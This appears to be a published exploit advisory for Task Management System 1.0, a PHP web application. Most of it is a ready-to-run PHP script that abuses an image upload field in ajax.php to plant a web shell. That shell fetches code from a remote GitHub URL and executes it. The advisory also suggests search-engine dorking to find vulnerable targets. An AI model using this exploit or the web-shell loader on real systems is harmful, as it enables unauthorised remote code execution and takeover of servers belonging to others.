Task Management System 1.0 Code Injection

=============================================================================================================================================| # Title     : Task Management System 1.0 php code injection Vulnerability                                                                 || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.campcodes.com/downloads/task-management-system-in-php-mysql-source-code/?wpdmdl=8164&refresh=66bb949d45e891723569309 |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This PHP code is designed to create a file and inject PHP code.[+] save payload as poc.php [+] usage : C:\www\test>php poc.php 127.0.0.1[+] payload : <?phpfunction file_upload($target_ip) {    $file_name = "indoushka.php";    $webshell_payload = "<?php        \$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';        \$ch = curl_init();        curl_setopt(\$ch, CURLOPT_URL, \$url);        curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);        \$output = curl_exec(\$ch);        curl_close(\$ch);        if (\$output) {            include 'data://text/plain;base64,' . base64_encode(\$output);        }    ?>";    $post_fields = array(                'save' => '',        'firstname' => 'az',        'lastname' => 'azgt',        'email' => '[email protected]',        'password' => 'az@gtgt',      'img' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),                  'qty' => '1'    );    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, "$target_ip/ajax.php?action=update_user");    curl_setopt($ch, CURLOPT_POST, 1);    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    $response = curl_exec($ch);    curl_close($ch);    echo "(+) Shell uploaded successfully.\n";    echo "(+) Access the shell at: $target_ip/assets/uploads/\n";}if ($argc != 2) {    echo "(+) Usage: php " . $argv[0] . " <target ip>\n";    echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";    exit(-1);}$target_ip = $argv[1];file_upload($target_ip);Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================